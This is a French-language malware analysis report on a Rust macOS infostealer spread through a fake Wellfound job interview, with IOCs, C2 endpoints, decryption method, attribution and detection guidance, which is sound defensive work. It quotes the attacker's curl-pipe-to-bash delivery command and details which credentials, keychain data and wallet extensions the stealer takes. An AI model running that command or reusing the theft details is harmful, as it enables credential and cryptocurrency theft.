
Analyse statique complète du voleur d'informations HyperHives macOS Rust — 571 valeurs de configuration déchiffrées, infrastructure C2, attribution DPRK/Contagious Interview, règles YARA/Sigma, bundle STIX 2.1, couche ATT&CK Navigator
Renseignement sur les menaces : Infostealer binaire universel Rust pour macOS distribué via un faux pipeline d'entretien d'embauche sur Wellfound (anciennement AngelList). Le personnage de l'opérateur « Felix » d'« HyperHive » a incité les cibles à exécuter un installateur malveillant depuis
macos.hyperhives.net. Ce dépôt documente une analyse statique complète : 571 valeurs de configuration chiffrées récupérées, comprenant des URL C2, un DSN Sentry, et 276 ID d'extensions Chrome ciblées.
| SHA-256 de l'échantillon | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| Domaine C2 | cloudproxy.link |
| Domaine de livraison | macos.hyperhives.net |
| Plateforme d'appât | Wellfound (anciennement AngelList) |
| Personnage de l'opérateur | « Felix » chez « HyperHive » |
| VirusTotal | 9 / 63 détections |
| Classification | Divulgation publique / lot d'IOC |
| Dernière mise à jour | Avril 2026 |
| Fichier | Format | Objectif |
|---|---|---|
iocs.txt | Texte brut | Hachages, domaines, URLs, IPs, email, IDs Sentry — à coller dans des listes de blocage, MISP, OpenCTI |
yara_rules.yar | YARA 4.2+ | Correspondance de hachage d'échantillon connu + détections heuristiques de chaînes pour Mach-O |
sigma_rules.yml | Sigma | Règles de proxy, DNS et création de processus — ajustez logsource pour votre SIEM |
stix/bundle.json | STIX 2.1 | Paquet CTI lisible par machine avec indicateurs, SDO de logiciel malveillant, infrastructure, motifs ATT&CK et relations |
attack-navigator-layer.json | ATT&CK Navigator | Importez dans ATT&CK Navigator pour une couverture visuelle des techniques |
. ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist
---
## Démarrage rapide
Placez l'échantillon en tant que `sample/installer_binary` (consultez [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) pour la vérification de hachage), puis :```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
Le fichier compose impose network_mode: none, read_only: true, et supprime toutes les capacités Linux. Voir SECURITY.md pour les directives complètes de gestion.
Une offre d'emploi sur Wellfound (anciennement AngelList) a conduit à une chaîne d'ingénierie sociale par plusieurs e-mails de la part d'un opérateur sous le personnage "Felix" chez "HyperHive". Après avoir flatté le parcours technique de la cible et planifié un faux entretien, l'attaquant a dirigé la victime pour « passer en revue le produit » sur hyperhives.net et examiner spécifiquement Paramètres → Diagnostics → Journal — un prétexte pour déclencher l'exécution de :```
curl -s https://macos.hyperhives.net/install | nohup bash &
La charge utile est un **binaire universel Mach-O de 8,5 Mo** (x86_64 + arm64) compilé en Rust. L’analyse statique avec un laboratoire Docker déconnecté et l’émulation CPU de **570 routines d’assistance x86_64 uniques** a récupéré **la totalité des 571 valeurs de configuration chiffrées**, révélant :
- **C2 :** `cloudproxy.link` — quatre points de terminaison HTTPS
- **Sentry (pivot d’attribution) :** DSN complet avec identifiants d’org/projet sur `ingest.de.sentry.io`
- **Identité de construction :** utilisateur Cargo `rootr`, nom de code `force`, version `9.12.1`
- **Cibles :** 276 identifiants d’extension Chrome (portefeuilles crypto, gestionnaires de mots de passe, identifiants d’entreprise)
Les tactiques correspondent aux campagnes **Contagious Interview liées à la RPDC** — recrutement professionnel fictif sur des plateformes légitimes, établissement de confiance en plusieurs étapes, livraison via `curl | bash`, voleur macOS en Rust et exfiltration ciblant les cryptomonnaies.
---
## 1 — Comment tout a commencé
### L’appât : un entretien d’embauche factice sur Wellfound
L’attaque a commencé par une **annonce d’emploi d’apparence légitime sur Wellfound** (anciennement AngelList). Après que la cible a postulé, la chaîne d’e‑mails suivante a été initiée par un opérateur utilisant le personnage **« Felix »** et le nom d’entreprise **« HyperHive »** :
**E‑mail 1** (4 avril 2026) — Contact initial. « Felix » a accusé réception du CV et du profil LinkedIn de la cible, affirmant que leur « Tech Lead » avait approuvé la poursuite, et a spécifiquement mentionné l’expérience technique réelle de la cible. L’e‑mail indiquait qu’HyperHive « construisait la version de bureau des Hyperhives sur différents systèmes d’exploitation » et invitait la cible à planifier un entretien à UTC+0.
**E‑mail 2** (5 avril 2026) — Planification de suivi. A proposé un créneau d’entretien spécifique (8 avril à 15:00 UTC) et a inclus l’instruction critique de livraison de la charge utile :
> *"Si vous le pouvez, veuillez également jeter un coup d’œil rapide au journal produit sous **Paramètres → Diagnostics → Journal**. Nous pourrions vous demander quelques brefs commentaires sur le journal et toute autre observation produit que vous remarquez, car cela donne souvent un bon signal de l’expérience en ingénierie et de l’attention aux détails."*
Cela a dirigé la cible vers `https://hyperhives.net`, où la navigation vers la section diagnostics a déclenché :```
curl -s https://macos.hyperhives.net/install | nohup bash &
La commande a téléchargé et exécuté un binaire universel Mach-O de 8,5 Mo. Une fausse boîte de dialogue de mot de passe macOS est apparue via AppleScript. Le mot de passe n'a pas été saisi. Les processus ont été immédiatement terminés et l'échantillon a été conservé pour analyse.
| Élément | Détail |
|---|---|
| Plateforme | Wellfound (AngelList) — site d'emploi légitime |
| Nom de l'entreprise | "HyperHive" (singulier) / domaine hyperhives.net |
| Persona | "Felix" |
| Email de contact | [email protected] |
| Renforcement de la confiance | A fait référence au vrai CV de la cible, à son LinkedIn et à ses compétences techniques spécifiques |
| Prétexte | "Examinez le produit avant l'entretien" |
| Déclencheur du payload | "Vérifiez Paramètres → Diagnostics → Journal" sur hyperhives.net |
| Planification | Créneau d'entretien fictif (8 avril, 15:00 UTC) pour maintenir l'urgence |
| Chaîne en plusieurs étapes | Au moins 2 e-mails sur 2 jours avant la livraison du payload |
| Propriété | Valeur |
|---|---|
| Fichier | installer_binary |
| Taille | 8 504 768 octets |
| Format | Mach-O Universal (x86_64 + arm64) |
| SHA-256 | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| SHA-1 | 2de897066c2fc7db91da78d7f9ded99237345077 |
| MD5 | 0e95ab4038ec48657563c96bed840dd5 |
| Compilateur | rustc 1.87.0 (stable) |
| Utilisateur de construction | rootr (à partir du chemin intégré /Users/rootr/.cargo/registry/...) |
| Nom de code de construction | force |
| Version de construction | 9.12.1 |
| Suivi des erreurs | Sentry Rust SDK v0.36.0 |
| Nombre de crates | 97 (voir output/cargo_dependencies.txt) |
L'échantillon présente une ingénierie de qualité production : versionnage sémantique, intégration Sentry pour la fiabilité opérationnelle, et une grande configuration intégrée chiffrée avec 570 fonctions auxiliaires uniques.
Rapport complet — 9 / 63 moteurs ont détecté lors de la soumission initiale (avril 2026). Plus de 85 % des moteurs n'ont pas réussi à signaler cet échantillon.
| Moteur | Nom de détection |
|---|---|
| Kaspersky | HEUR:Trojan-PSW.OSX.HashBreaker.e |
| DrWeb | Mac.PWS.JobStealer.1 |
| ESET-NOD32 | OSX/PSW.Agent.BX Trojan |
| Microsoft | Trojan:MacOS/Stealer!AMTB |
| Avast / AVG | MacOS:Stealer-BU [Trj] |
| Elastic | Malicious (high Confidence) |
| Cynet | Malicious (score: 99) |
| SentinelOne | Static AI - Suspicious Mach-O |
Noms de famille notables des éditeurs pour recoupement : HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).
Non détecté par : BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda et 44 autres moteurs. Ce faible taux de détection souligne l'efficacité opérationnelle de l'approche Rust + obfuscation personnalisée utilisée par cette campagne.
Les taux de détection changent à mesure que les éditeurs mettent à jour leurs signatures. Consultez le rapport VirusTotal pour les résultats actuels.
| Navigateur | Chemin des données | Entrée du trousseau |
|---|---|---|
| Chrome | Google/Chrome | Chrome Safe Storage |
| Brave | BraveSoftware/Brave-Browser | Brave Safe Storage |
| Opera | par défaut | Opera Safe Storage |
| Opera GX | par défaut | Opera Safe Storage 2023 |
| Vivaldi | par défaut | Vivaldi Safe Storage |
| Microsoft Edge | par défaut | Microsoft Edge Safe Storage |
| Arc | Arc/User Data | — |
| CocCoc | par défaut | CocCoc Safe Storage |
Types de données volées : mots de passe, cartes de crédit, cookies, jetons de session, remplissage automatique, historique de navigation.
login.keychain-db) — nécessite le mot de passe utilisateur récolté via la fausse boîte de dialogueIOPlatformExpertDevice / IOPlatformUUID, signalés comme hardwares au C2tdata pour une prise de contrôle complète du compteCiblage complet des portefeuilles par extension de navigateur, incluant MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live et Trezor Suite. Cartographie complète dans la Section 8 et output/full_decrypted_config.json.
| Produit | Identifiants d'extension (exemples) |
|---|---|
| 1Password | aeblfdkhhhdcdjpifhhbdiojplfjncoa, khgocmkkpikpnmmkgmdnfckapcdkgfaf, gejiddohjgogedgjnonbofjigllpkmbf |
| ProtonPass | ghmbeldphafepmbegfdlkpapadhbakde |
| Dashlane | fdjamakpfbbddfjaooikfcpapjohcfmg |
| Identifiants Deloitte | Magasin d'identifiants d'entreprise |
| Fonctionnalité | Détail |
|---|---|
| Détection de VM | indicateur is_vm dans le JSON du C2 |
| Mode forcé | indicateur de remplacement à distance force_mode |
| Contournement de Gatekeeper | xattr -c sur le binaire téléchargé |
| Alerte VPN | Message d'erreur "Veuillez utiliser un VPN et réessayer" |
Les données sont stockées temporairement dans ~/Documents/temp_data/Application/, compressées en ZIP, téléchargées via multipart/form-data sur HTTPS. L'IP de la victime et la géolocalisation sont résolues via https://freeipapi.com/api/json.
| Point d'accès | Rôle |
|---|---|
https://cloudproxy.link/m/opened | Balise / activation |
https://cloudproxy.link/m/metrics | Télémétrie |
https://cloudproxy.link/m/decode | Canal d'instruction / configuration |
https://cloudproxy.link/db/debug | Débogage / diagnostics |
| Composant | Valeur |
|-----------|--------|
| **Clé publique** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID d'organisation** | `4509139651198976` |
| **ID de projet** | `4509422649213008` |
| **Région** | UE — `ingest.de.sentry.io` |
Une procédure légale avec Sentry peut permettre de récupérer les informations d'enregistrement du compte, les enregistrements de facturation et les métadonnées d'accès liées à cette organisation/projet.
### API de géolocalisation
`https://freeipapi.com/api/json` — IP / pays de la victime pour le JSON C2 (`ipAddress`, `countryCode`).
### Protocole d'exfiltration C2
| Champ | Rôle |
|-------|------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Identifiants victime / session |
| `ip`, `geo` | Depuis l'API de géolocalisation |
| `pers_password` | Mot de passe de la fausse boîte de dialogue |
| `passwords`, `wallets`, `credits`, `autofills` | Données volées |
| `is_vm`, `hardwares`, `force_mode` | Contrôle environnement / drapeaux |
Méthode de téléchargement : `multipart/form-data`, `application/zip`, chaîne de connexion `UPLD connect`.
---
## 5 — Attribution
### Indicateurs de compromission
| Indicateur | Valeur | Source |
|-----------|-------|--------|
| Plateforme leurre | Wellfound (AngelList) | Rapport de la victime |
| Persona de l'opérateur | « Felix » chez « HyperHive » | Emails leurres |
| Site web leurre | `hyperhives.net` | Emails leurres |
| Email expéditeur | `[email protected]` | Emails leurres |
| Domaine de livraison | `macos.hyperhives.net` | Téléchargement du payload |
| IP de livraison | `81.28.12.12` (CDN Gcore) | Résolution DNS |
| Registraire / email | Tucows ; Spacemail | WHOIS / MX |
| **Domaine C2** | **`cloudproxy.link`** | **Déchiffré depuis l'échantillon** |
| **DSN Sentry** | Voir [Section 4](#sentry-dsn-operator-fingerprint) | **Déchiffré depuis l'échantillon** |
| Utilisateur de compilation | `rootr` | Chemins Cargo intégrés |
| SHA-256 de l'échantillon | `5c7385c3...bf8dd3` | Empreinte du fichier |
### Identifiant développeur : `rootr`
Chemin intégré `/Users/rootr/.cargo/registry/`. OSINT sur l'identifiant — [github.com/rootr](https://github.com/rootr) (à la date de l'analyse) : société listée « RootR », localisation Genève, compte créé le **2024-06-27**, zéro dépôt public. Correspond à un profil jetable ou opérationnel.
### RPDC / Contagious Interview (évaluation analytique)
| TTP | Cet échantillon | Modèle rapporté proche de la RPDC |
|-----|-----------------|-----------------------------------|
| **Recrutement fictif sur une plateforme légitime** | Publication sur Wellfound (AngelList) → échange d'emails avec « Felix » | Contagious Interview : démarchage de faux recruteurs sur LinkedIn, Indeed, Wellfound |
| **Ingénierie sociale en plusieurs étapes** | 2+ emails faisant référence au vrai CV, planification d'un faux entretien | Établir la confiance avant le payload ; documenté dans plusieurs campagnes RPDC |
| **Prétexte d'évaluation / test de code** | « Check Settings → Diagnostics → Log » | Prétextes « Examinez notre projet » / « exécutez ce test de code » |
| Livraison `curl \| bash` | Ligne de commande d'installation depuis `macos.hyperhives.net` | Vecteur d'ingénierie sociale macOS courant |
| Binaire universel Rust Mach-O | rustc 1.87.0, x86_64 + arm64 | RustDoor / RustBucket / clusters similaires |
| Fausse boîte de dialogue mot de passe | AppleScript `osascript` | Documenté dans des campagnes macOS similaires |
| Grand ensemble de cibles portefeuilles crypto | 276 IDs d'extension, 188 noms de portefeuilles | Motivation financière cohérente avec la génération de revenus de la RPDC |
**Confiance :** **élevée** pour l'alignement thématique et TTP. Le pipeline de faux emplois sur Wellfound, la chaîne de confiance par plusieurs emails, le prétexte d'évaluation, le stealer macOS en Rust et la focalisation sur les portefeuilles crypto correspondent étroitement au playbook Contagious Interview. Il s'agit d'une évaluation analytique, pas d'une déclaration d'attribution gouvernementale ou policière.
---
## 6 — Cryptanalyse
Les chaînes de configuration sont protégées par un **chiffrement XOR personnalisé** : 570 petites fonctions d'assistance x86_64 (plage de code `0x10000`–`0x15000`) calculent chacune un offset 16 bits unique à partir de `(data_ptr, seed)`. L'offset indexe dans le binaire pour produire une clé XOR de 32 octets appliquée au bloc de texte chiffré correspondant.
### Approches qui ont échoué
| Méthode | Résultat |
|---------|----------|
| Balayages XOR naïfs | Aucun texte clair cohérent |
| Supposition de clé AES / PBKDF2 | Aucune schedule de clé trouvée |
| Émulation Unicorn du runtime Rust sur l'intégralité du binaire | Complexité du flux de contrôle a provoqué une divergence |
### Approche qui a réussi
1. **Rechercher** les instructions `LEA` relatives à RIP ciblant la région de configuration (`0x2b8000`–`0x2bc000`).
2. **Analyser** le code précédent pour extraire `(adresse_fonction_assistance, pointeur_données, seed)`.
3. **Émuler** chaque fonction d'assistance isolément avec [Unicorn Engine](https://www.unicorn-engine.org/) (200 instructions max).
4. **Déchiffrer** le bloc de 32 octets à l'adresse cible en utilisant la clé à l'offset calculé.
5. **Étendre** pour les chaînes multi-blocs (URL, DSN) et les entrées de métadonnées OU+XOR.
**Couverture :** 381 blocs XOR + 190 entrées de métadonnées OU+XOR = **571 valeurs de configuration récupérées** en 1,1 seconde. Zéro entrée chiffrée non récupérée.
**Implémentation :** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)
---
## 7 — Cartographie MITRE ATT&CK
> Importez [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) dans [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) pour une vue interactive.
| Technique | ID | Utilisation dans cet échantillon |
|-----------|----|----------------------------------|
| Phishing | T1566 | Email d'ingénierie sociale depuis `[email protected]` |
| Exécution par l'utilisateur : Fichier malveillant | T1204.002 | `curl \| bash` depuis le leurre |
| Interpréteur de commandes et de scripts : AppleScript | T1059.002 | Fausse boîte de dialogue mot de passe, exfiltration d'Apple Notes |
| Interpréteur de commandes et de scripts : Shell Unix | T1059.004 | Exécution initiale via bash redirigé |
| Informations d'identification issues de magasins de mots de passe : Trousseau | T1555.001 | Extraction du trousseau de connexion |
| Informations d'identification issues de magasins de mots de passe : Informations d'identification issues des navigateurs web | T1555.003 | Déchiffrement des données de connexion Chromium |
| Vol de cookie de session web | T1539 | Vol de cookies et jetons de navigateur |
| Données provenant du système local | T1005 | Portefeuilles, Telegram, Notes, remplissage automatique |
| Archivage des données collectées | T1560 | Préparation ZIP sous `~/Documents/temp_data/` |
| Exfiltration via le canal C2 | T1041 | HTTPS POST vers `cloudproxy.link` |
| Protocole de couche application : Protocoles web | T1071.001 | HTTPS C2 avec quatre points de terminaison |
| Contournement de virtualisation/bac à sable | T1497 | Drapeau `is_vm` |
| Fichiers ou informations obscurcis | T1027 | 570 fonctions d'assistance XOR |
| Capture de saisie | T1056 | Fausse boîte de dialogue mot de passe |
| Découverte des informations système | T1082 | Collecte de l'ID matériel et de la version du système d'exploitation |
| Découverte de la configuration réseau système | T1016 | Géolocalisation via `freeipapi.com` |
| Contournement des contrôles de confiance : Contournement de Gatekeeper | T1553.001 | `xattr -c` sur le binaire téléchargé |
---
## 8 — Référence des portefeuilles et des IDs d'extension
188 noms de portefeuilles et **276 IDs d'extension Chrome uniques** de 32 caractères ont été récupérés. Le tableau suivant présente les cibles de premier plan ; la liste complète se trouve dans [l'Annexe A](#appendix-a--all-276-chrome-extension-ids) et dans `output/full_decrypted_config.json`.
| Portefeuille | ID d'extension |
|--------------|----------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**Portefeuilles de bureau :** Les répertoires de données de Ledger Live et Trezor Suite sont également ciblés.
**Important :** Ces IDs d'extension identifient **des extensions de navigateur légitimes** dont les données locales sont ciblées par le logiciel malveillant pour vol. Il ne s'agit **pas** d'extensions malveillantes.
---
## 9 — Actions recommandées
### Pour les victimes potentielles
- **N'exécutez pas** de lignes de commande `curl | bash` inconnues
- Faites tourner tous les identifiants stockés dans le navigateur, les clés de portefeuille crypto et les mots de passe maîtres du gestionnaire de mots de passe s'ils ont été exposés
- Vérifiez la présence de `~/Documents/temp_data/` sur le disque
- Signalez aux autorités locales et au CERT national compétent (p. ex. IC3, NCSC)
### Pour les défenseurs
- **Bloquez** `macos.hyperhives.net`, `cloudproxy.link` et `81.28.12.12` (vérifiez l'impact de l'hébergement partagé avant de bloquer l'IP)
- **Recherchez** le trafic HTTPS vers `cloudproxy.link` et les requêtes DNS pour les deux domaines
- **Déployez** les règles YARA et Sigma de ce dépôt (adaptez-les à votre environnement)
- **Comparez** les extensions Chrome installées avec la liste des 276 IDs (les extensions sont légitimes — le logiciel malveillant lit leurs données locales)
- **Importez** `stix/bundle.json` dans votre plateforme CTI (MISP, OpenCTI, ThreatConnect, etc.)
### Pour les demandes légales
| Cible | Quoi demander |
|-------|---------------|
| Sentry | Enregistrements du compte et de facturation pour l'org `4509139651198976` |
| Registraires de domaine | Enregistrements WHOIS pour `cloudproxy.link` et `hyperhives.net` |
| CDN Gcore | Journaux d'accès pour `81.28.12.12` |
| Fournisseur email | Enregistrements du compte pour `[email protected]` |
| GitHub | Métadonnées du compte pour `rootr` |
---
## 10 — Méthodologie
L'analyse a été réalisée dans un **conteneur Docker** avec :
- `network_mode: none` (aucune connectivité sortante)
- `read_only: true` (système de fichiers racine immuable)
- Toutes les capacités Linux supprimées (`cap_drop: ALL`)
- Option de sécurité `no-new-privileges`
Outils : Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2, et scripts personnalisés. Aucune exécution dynamique du logiciel malveillant n'a été effectuée — toutes les conclusions proviennent d'analyses statiques et d'émulation isolée du CPU de fonctions d'assistance individuelles.
Artéfacts vérifiés : [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).
---
## Annexe A — Tous les 276 IDs d'extension Chrome
La configuration du logiciel malveillant fait référence à ces IDs d'extension (chemins local-storage / LevelDB sous les profils utilisateur). **Ces IDs identifient des extensions légitimes ciblées pour le vol de données, et non des extensions malveillantes.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
